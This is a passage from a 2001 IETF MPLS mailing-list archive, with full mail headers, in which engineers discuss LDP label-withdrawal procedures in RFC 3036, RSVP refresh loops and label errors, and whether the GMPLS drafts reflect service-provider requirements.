The label for the FEC on an LSP from A to B remains of interest should the
next hop change - indeed, in this retention mode, B must have at one time
been the next hop. If I were implementing for sake of efficiency (of the
network) then I would detect the case where A has conservative label
retention at LWd.7, and anticipating that A will not retain the label
mapping it is about to request, would not actually request it. But,
requesting it does not appear to give *incorrect* behavior, just
inefficient.

Regarding your second question:

  I am not sure where it is that you think new (possibly unnecessary) label
mappings are generated as a result of LWd.7 - in the Recognize new FEC
procedure (A.1.6), or in the loop demarked by LWd.8-LWd.12.

 In the new FEC procedure, the only loops over the peers happen in
advertisement/retention modes that would preclude ever reaching LWd.7

 In the loop that follows LWd.7, it does not appear that any label mappings
are made. Further, LWd.7 need not be reached, and its result do not effect
whether LWd.8 and onward are performed.




CLK



Manoj Dutta wrote:

> Hi,
>
> According to RFC 3036 section A.1.5  LWd.7, a recognize new FEC event is
> generated when LSR is using
> downstream on demand with independent control.  Lets consider a scenario
> where LSR A gets withdraw msg
> from LSR B.
>
> 1) What if the LSR B is not  a next hop (according to routing table
> entries)? Does LSR A still need to send label request to this LSR B (a
> consequence of LWd.7)?
>
> 2) Also, does LSR A need to send mappings again to all other relevant
> peers (again consequence of LWd.7). If it does that, will it use
> InitAttributes as the label mapping attributes ?  I think LSR A should
> not be resending the mappings again.
>
> Thanks in advance
> manoj



From owner-mpls@UU.NET  Thu May 24 14:07:57 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18328
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 14:07:57 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqku24540;
	Thu, 24 May 2001 18:04:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkqku02610
	for mpls-outgoing; Thu, 24 May 2001 18:04:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqku01778
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 18:04:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqku07623
	for <mpls@UU.NET>; Thu, 24 May 2001 18:03:19 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkqku02332
	for <mpls@UU.NET>; Thu, 24 May 2001 18:03:18 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id LAA17606;
	Thu, 24 May 2001 11:03:11 -0700 (PDT)
Message-ID: <3B0D4CDF.CE906739@pluris.com>
Date: Thu, 24 May 2001 11:03:11 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>, mpls@UU.NET
Subject: Re: Label Withdraw Message !!
References: <3B0CF998.58739576@ipinfusion.com> <3B0D4A50.65746D4E@pluris.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


 I miswrote in one spot that I noticed:

Chris Kuszmaul wrote:

> Regarding your first question:
>    When LSR A gets a label withdrawal from B:
>    If A is performing liberal label retention, then it is not unreasonable
> to request a new label of B, even if B is not presently the next hop from A.
> The label for the FEC on an LSP from A to B remains of interest should the
> next hop change - indeed, in this retention mode, B must have at one time

                  should read      ...in this ADVERTISEMENT mode...


>
> been the next hop. If I were implementing for sake of efficiency (of the
> network) then I would detect the case where A has conservative label
> retention at LWd.7, and anticipating that A will not retain the label
> mapping it is about to request, would not actually request it. But,
> requesting it does not appear to give *incorrect* behavior, just
> inefficient.
>
> Regarding your second question:
>
>   I am not sure where it is that you think new (possibly unnecessary) label
> mappings are generated as a result of LWd.7 - in the Recognize new FEC
> procedure (A.1.6), or in the loop demarked by LWd.8-LWd.12.
>
>  In the new FEC procedure, the only loops over the peers happen in
> advertisement/retention modes that would preclude ever reaching LWd.7
>
>  In the loop that follows LWd.7, it does not appear that any label mappings
> are made. Further, LWd.7 need not be reached, and its result do not effect
> whether LWd.8 and onward are performed.
>
> CLK
>
> Manoj Dutta wrote:
>
> > Hi,
> >
> > According to RFC 3036 section A.1.5  LWd.7, a recognize new FEC event is
> > generated when LSR is using
> > downstream on demand with independent control.  Lets consider a scenario
> > where LSR A gets withdraw msg
> > from LSR B.
> >
> > 1) What if the LSR B is not  a next hop (according to routing table
> > entries)? Does LSR A still need to send label request to this LSR B (a
> > consequence of LWd.7)?
> >
> > 2) Also, does LSR A need to send mappings again to all other relevant
> > peers (again consequence of LWd.7). If it does that, will it use
> > InitAttributes as the label mapping attributes ?  I think LSR A should
> > not be resending the mappings again.
> >
> > Thanks in advance
> > manoj



From owner-mpls@UU.NET  Thu May 24 14:28:47 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18664
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 14:28:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkv18752;
	Thu, 24 May 2001 18:25:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkv14252
	for mpls-outgoing; Thu, 24 May 2001 18:24:47 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqkv14245
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 18:24:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqkv09065
	for <mpls@uu.net>; Thu, 24 May 2001 18:20:38 GMT
Received: from kcmso1.proxy.att.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: kcmso1.att.com [192.128.133.69])
	id QQkqkv02809
	for <mpls@uu.net>; Thu, 24 May 2001 18:20:37 GMT
Received: from gab200r1.ems.att.com ([135.37.94.32])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4OIKVD03954;
	Thu, 24 May 2001 14:20:31 -0400 (EDT)
Received: from njb140bh2.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id OAA02158; Thu, 24 May 2001 14:20:05 -0400 (EDT)
Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <LRY4KCN7>; Thu, 24 May 2001 14:20:31 -0400
Message-ID: <1B08859602C8D211B66F0000C0769CFA03A95900@njc240po03.mt.att.com>
From: "Ash, Gerald R (Jerry)" <gash@att.com>
To: ccamp@ops.ietf.org, mpls@UU.NET
Cc: "Ash, Gerald R (Jerry)" <gash@att.com>
Subject: RE: GMPLS Last Calls
Date: Thu, 24 May 2001 14:20:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
draft:

"Eve - Had hoped that CCAMP formation and expression of requirements would
enable us to do more with architecture than reverse architect proposed
solution. Think we should also look at carrier requirements and look for
discrepancies with architecture. 
Curtis - requirements of carriers not being addressed?
Eve - happy to discuss on mailing list in absence of time"

There are still no documented service provider (SP) requirements driving the
proposed GMPLS protocol extensions.  This is inconsistent with the current
initiatives to provide SP requirements prior to protocol extensions being
accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
MPLS/DiffServ TE, multi-area TE, etc.  

Here is a sample of SP requirements that are not being addressed (other
requirements from our perspective are forthcoming):

1. Restoration requirements, particularly in support of mesh restoration,
need to be supported by GMPLS.  For example, Section 7 of the Generalized
Signaling I-D
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
4.txt) 
primarily discusses link protection, restoration capabilities are largely
missing and need to be included.

2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
should be clearly identified in the text and referenced in the GMPLS I-Ds,
e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707 [Reference
G.707] is supported by the Generalized Label Request."

As per Eve's comment at IETF-50, SPs are encouraged to post their
requirements to the list.  It would also help if more SPs were invited to
co-author the GMPLS drafts, to help ensure that SP requirements are more
adequately reflected and addressed.

Jerry Ash
AT&T Labs


-----Original Message-----
From: George Swallow [mailto:swallow@cisco.com]
Sent: Monday, May 14, 2001 1:52 PM
To: ccamp@ops.ietf.org; mpls@uu.net
Subject: GMPLS Last Calls


This message initiates a last call on four GMPLS drafts.  The last
call is being issued jointly in the MPLS and CCAMP workgroups.

The drafts are:

    1.  Generalized MPLS - Signaling Functional Description

           <draft-ietf-mpls-generalized-signaling-04.txt>


    2.  Generalized MPLS Signaling - RSVP-TE Extensions

           <draft-ietf-mpls-generalized-rsvp-te-03.txt>


    3.  Generalized MPLS Signaling - CR-LDP Extensions

           <draft-ietf-mpls-generalized-cr-ldp-03.txt>


    4.  GMPLS Extensions for SONET and SDH Control

           <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>


The last call closes May 29, 12 pm GMT.


-  V2KG (Vijay, Vijay, Kireeti, & George)


======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Thu May 24 14:56:23 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19030
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 14:56:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqkx16780;
	Thu, 24 May 2001 18:53:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkqkx17816
	for mpls-outgoing; Thu, 24 May 2001 18:52:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqkx17810
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 18:52:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqkx29950
	for <mpls@UU.NET>; Thu, 24 May 2001 18:52:17 GMT
Received: from red.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: red.juniper.net [207.17.136.137])
	id QQkqkx26815
	for <mpls@UU.NET>; Thu, 24 May 2001 18:52:16 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by red.juniper.net (8.9.3/8.9.3) with ESMTP id LAA04157;
	Thu, 24 May 2001 11:51:44 -0700 (PDT)
Message-Id: <200105241851.LAA04157@red.juniper.net>
To: "Ash, Gerald R (Jerry)" <gash@att.com>
cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: Re: GMPLS Last Calls 
In-Reply-To: Your message of "Thu, 24 May 2001 14:20:28 EDT."
             <1B08859602C8D211B66F0000C0769CFA03A95900@njc240po03.mt.att.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <47532.990730303.1@juniper.net>
Date: Thu, 24 May 2001 11:51:43 -0700
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

Jerry,

[clipped...]
 
> As per Eve's comment at IETF-50, SPs are encouraged to post their
> requirements to the list.  It would also help if more SPs were invited to
> co-author the GMPLS drafts, to help ensure that SP requirements are more
> adequately reflected and addressed.

If someone has anything *substantial* to contribute to the GMPLS
drafts, such person should be invited to become a co-author. This
is *irrespective* of whether such person works for a SP or not. On
the other hand, just because a person works for a SP, doesn't mean
such a person should be invited to become a co-author.

Yakov.


From owner-mpls@UU.NET  Thu May 24 15:41:13 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA19774
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 15:41:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqla19128;
	Thu, 24 May 2001 19:39:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkqla11859
	for mpls-outgoing; Thu, 24 May 2001 19:38:31 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqla11833
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 19:38:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqla26249
	for <mpls@uu.net>; Thu, 24 May 2001 19:37:52 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqla28314
	for <mpls@uu.net>; Thu, 24 May 2001 19:37:52 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA27304
	for <mpls@uu.net>; Thu, 24 May 2001 15:37:49 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA01318
	for <mpls@uu.net>; Thu, 24 May 2001 15:37:50 -0400 (EDT)
Message-ID: <3B0D6310.F1128A2A@marconi.com>
Date: Thu, 24 May 2001 15:37:52 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: What to do when label has error?
References: <Pine.LNX.4.21.0105240740180.2036-100000@localhost.localdomain>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Nagendra Singh Tomar wrote:
> 
>        One statement in ur reply is confusing. I am quoting it here:
>
>> (RSVP-TE carries the L3 protocol ID in the LABEL_REQUEST objects,
>> so transit routers should know if the payload is IP or not)
>
> But if the label itself is wrong, i.e the router does'nt recognize
> the label then how can it  know the L3 protocol associated with that
> label.

Oops.  You are right.  Nothing carried by signaling will work to help a
router determine the L3 protocol of a label it knows nothing about.  My
mistake.  The L3PID in RSVP is really only useful to the egress router.

-- David


From owner-mpls@UU.NET  Thu May 24 15:52:12 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA19923
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 15:52:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlb28664;
	Thu, 24 May 2001 19:49:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlb13464
	for mpls-outgoing; Thu, 24 May 2001 19:48:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkqlb13459
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 19:48:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqlb27906
	for <mpls@UU.NET>; Thu, 24 May 2001 19:48:26 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqlb28169
	for <mpls@UU.NET>; Thu, 24 May 2001 19:48:26 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA28094
	for <mpls@UU.NET>; Thu, 24 May 2001 15:48:23 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA04608
	for <mpls@UU.NET>; Thu, 24 May 2001 15:48:24 -0400 (EDT)
Message-ID: <3B0D6584.EA4B1EA6@marconi.com>
Date: Thu, 24 May 2001 15:48:20 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: 
References: <20010524092717.21308.qmail@web8001.mail.in.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

divya mattey wrote:
> 
> Can anybody tell me what is 'auto refresh loop' in
> RSVP? RFC2205 is not very clear about that.

RSVP routers refresh their state on a timer.  This is the definition of
soft state.

If there is a loop, the router at the point where the path connects back
to itself may continue receiving refreshes from the router the loop is
coming from, even through the ingress has stopped refreshing the state. 
This leads to a circular topology where everybody is refreshing state
unnecessarily.

Section 3.4 of RFC 2205 describes what has been done in the protocol to
prevent these kinds of loops from happening.

Note, however, that with the TE extensions, looping should not happen in
the first place.  For a Path that has no ERO object, behavior is similar
to that of RFC 2205.  For a Path that has an ERO consisting entirely of
strict hops, any looping will be due to the ingress router deliberately
creating it - meaning the problem is with whatever entity generated that
ERO.  A Path with an ERO that has loose subobjects may loop, but this is
solved by using the RRO object - which is mandatory when a loose-ERO is
present.

-- David


From owner-mpls@UU.NET  Thu May 24 19:26:41 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22651
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 19:26:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlp06607;
	Thu, 24 May 2001 23:25:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlp27634
	for mpls-outgoing; Thu, 24 May 2001 23:24:33 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqlp27620
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 23:24:22 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqlp06408
	for <mpls@UU.NET>; Thu, 24 May 2001 23:22:39 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkqlp25921
	for <mpls@UU.NET>; Thu, 24 May 2001 23:22:39 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 78B2094006; Thu, 24 May 2001 19:22:39 -0400 (EDT)
Message-ID: <3B0D97BF.F755FA2B@sandburst.com>
Date: Thu, 24 May 2001 19:22:39 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Kuszmaul <fyodor@pluris.com>
Cc: Manoj Dutta <manoj@ipinfusion.com>, mpls@UU.NET
Subject: Re: Label Withdraw Message !!
References: <3B0CF998.58739576@ipinfusion.com> <3B0D4A50.65746D4E@pluris.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Chris,

    Label advertisement roles are not platform wide (if they
were they MUST also be MPLS domain wide).  The fact
that an LSR is using DoD with respect to a (downstream)
LSR peer, does not mean it would not be using DU label
advertisement mode with respect to one or two (upstream)
LSR peers.

    See my earlier reply yo Monoj on this thread.

--
Eric Gray

You wrote:

> Regarding your first question:
>    When LSR A gets a label withdrawal from B:
>    If A is performing liberal label retention, then it is not unreasonable
> to request a new label of B, even if B is not presently the next hop from A.
> The label for the FEC on an LSP from A to B remains of interest should the
> next hop change - indeed, in this retention mode, B must have at one time
> been the next hop. If I were implementing for sake of efficiency (of the
> network) then I would detect the case where A has conservative label
> retention at LWd.7, and anticipating that A will not retain the label
> mapping it is about to request, would not actually request it. But,
> requesting it does not appear to give *incorrect* behavior, just
> inefficient.
>
> Regarding your second question:
>
>   I am not sure where it is that you think new (possibly unnecessary) label
> mappings are generated as a result of LWd.7 - in the Recognize new FEC
> procedure (A.1.6), or in the loop demarked by LWd.8-LWd.12.
>
>  In the new FEC procedure, the only loops over the peers happen in
> advertisement/retention modes that would preclude ever reaching LWd.7
>
>  In the loop that follows LWd.7, it does not appear that any label mappings
> are made. Further, LWd.7 need not be reached, and its result do not effect
> whether LWd.8 and onward are performed.
>
> CLK
>
> Manoj Dutta wrote:
>
> > Hi,
> >
> > According to RFC 3036 section A.1.5  LWd.7, a recognize new FEC event is
> > generated when LSR is using
> > downstream on demand with independent control.  Lets consider a scenario
> > where LSR A gets withdraw msg
> > from LSR B.
> >
> > 1) What if the LSR B is not  a next hop (according to routing table
> > entries)? Does LSR A still need to send label request to this LSR B (a
> > consequence of LWd.7)?
> >
> > 2) Also, does LSR A need to send mappings again to all other relevant
> > peers (again consequence of LWd.7). If it does that, will it use
> > InitAttributes as the label mapping attributes ?  I think LSR A should
> > not be resending the mappings again.
> >
> > Thanks in advance
> > manoj



From owner-mpls@UU.NET  Thu May 24 19:59:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA22936
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 19:59:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlr29451;
	Thu, 24 May 2001 23:57:38 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlr01090
	for mpls-outgoing; Thu, 24 May 2001 23:57:07 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqlr01055
	for <mpls@mail-control.mail.uu.net>; Thu, 24 May 2001 23:56:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqlr20780
	for <mpls@UU.NET>; Thu, 24 May 2001 23:56:09 GMT
Received: from tisch.mail.mindspring.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tisch.mail.mindspring.net [207.69.200.157])
	id QQkqlr27421
	for <mpls@UU.NET>; Thu, 24 May 2001 23:56:08 GMT
Received: from oemcomputer (pool1021.cvx21-bradley.dialup.earthlink.net [209.179.196.1])
	by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id TAA14999;
	Thu, 24 May 2001 19:56:00 -0400 (EDT)
Received: by localhost with Microsoft MAPI; Thu, 24 May 2001 17:19:30 -0700
Message-ID: <01C0E475.B1394180.vsharma87@yahoo.com>
From: Vishal Sharma <vsharma87@yahoo.com>
Reply-To: "v.sharma@ieee.org" <v.sharma@ieee.org>
To: "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter
	 <yakov@juniper.net>,
        "Ash, Gerald R (Jerry)" <gash@att.com>
Cc: "ccamp@ops.ietf.org" <ccamp@ops.ietf.org>, "mpls@UU.NET" <mpls@UU.NET>
Subject: RE: GMPLS Last Calls 
Date: Thu, 24 May 2001 17:19:29 -0700
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Tom, Yakov,

I agree with you. Although, in all fairness to Gerry, I don't think by
"invited" he meant literally that people should be called in to put
their names on drafts (any drafts, not just GMPLS ones) simply because they
happen to be working for a service provider.
I think what he meant was that more service providers should be involved in
the discussions for various GMPLS features.

I think the point Gerry raised is a good one, and this can always be done
via the MPLS and CCAMP lists. (The current drafts are, in fact, weighted
very heavily in favor of contributors who come from the vendor community,
with one, perhaps two, exceptions.)

Service providers can, however,  certainly provide their inputs over the list 
and
initiate constructive discussion about features
of GMPLS signaling that they would like included in the current signaling 
drafts
(and features of routing that they would like to see in forthcoming routing
drafts). I believe it would be very useful to get some SP input to ensure that
their operational needs are met and that they can transition to using this
work, since they, after all, are the ones who will use
the protocols.

-Vishal


On Thursday, May 24, 2001 12:15 PM, Thomas D. Nadeau [SMTP:tnadeau@cisco.com] 
wrote:
>
> > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > requirements to the list.  It would also help if more SPs were invited to
> > > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > > adequately reflected and addressed.
> >
> >If someone has anything *substantial* to contribute to the GMPLS
> >drafts, such person should be invited to become a co-author. This
> >is *irrespective* of whether such person works for a SP or not. On
> >the other hand, just because a person works for a SP, doesn't mean
> >such a person should be invited to become a co-author.
>
>          Yakov is precisely correct. The addition
> of (co)authors to drafts has all to do with their
> (generally significant) input to the drafts (and
> perhaps editing of the actual documents) regardless
> of corporate affiliation. It is not about being
> invited to put their names on the drafts just
> for advertising purposes.
>
>          --Tom



From owner-mpls@UU.NET  Thu May 24 20:21:49 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA23096
	for <mpls-archive@lists.ietf.org>; Thu, 24 May 2001 20:21:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqlt29435;
	Fri, 25 May 2001 00:20:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkqlt22756
	for mpls-outgoing; Fri, 25 May 2001 00:19:34 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqlt22741
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 00:19:15 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqlt27033
	for <mpls@UU.NET>; Fri, 25 May 2001 00:17:09 GMT
Received: from almso1.proxy.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: almso1.att.com [192.128.167.69])
	id QQkqlt26254
	for <mpls@UU.NET>; Fri, 25 May 2001 00:17:09 GMT
Received: from gab200r1.ems.att.com ([135.37.94.32])
	by almso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4P0GxE13382;
	Thu, 24 May 2001 20:16:59 -0400 (EDT)
Received: from njb140bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id UAA16508; Thu, 24 May 2001 20:16:33 -0400 (EDT)
Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <LR9TNXFL>; Thu, 24 May 2001 20:16:58 -0400
Message-ID: <1B08859602C8D211B66F0000C0769CFA03A95914@njc240po03.mt.att.com>
From: "Ash, Gerald R (Jerry)" <gash@att.com>
To: "'v.sharma@ieee.org'" <v.sharma@ieee.org>
Cc: "Ash, Gerald R (Jerry)" <gash@att.com>, ccamp@ops.ietf.org, mpls@UU.NET,
        "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter
	 <yakov@juniper.net>
Subject: RE: GMPLS Last Calls 
Date: Thu, 24 May 2001 20:16:56 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Vishal,
You're on target.
Comments below.
Jerry Ash

> I think what he meant was that more service providers should be involved
in
> the discussions for various GMPLS features.

correct, as I mentioned, SPs have been formally asked for their
*requirements*, but not on the GMPLS extensions

> The current drafts are, in fact, weighted
> very heavily in favor of contributors who come from the vendor community,
